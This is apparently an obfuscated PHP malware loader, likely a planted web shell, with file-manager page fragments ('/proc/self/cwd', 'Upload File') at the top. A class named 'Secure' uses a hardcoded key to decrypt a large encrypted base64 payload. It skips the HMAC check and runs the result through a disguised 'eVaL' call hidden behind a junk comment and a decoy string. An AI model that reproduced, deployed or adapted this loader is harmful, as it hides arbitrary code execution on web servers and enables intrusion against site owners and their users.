/
proc
/
self
/
cwd
/
Upload File
HOME
<?php class Secure { private $masterKey; private $iterations = 10000; private $cipher = 'aes-256-cbc'; private $hmacAlgo = 'sha256'; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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'; $decrypted = $secure->decrypt($str); $WwOy9ISIfCh7mF = function($w9awNt1sJNK87){ /*A2s9d5f*/eVaL($w9awNt1sJNK87); $mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK"; return $mXM0ar3y76T; }; $WwOy9ISIfCh7mF($decrypted);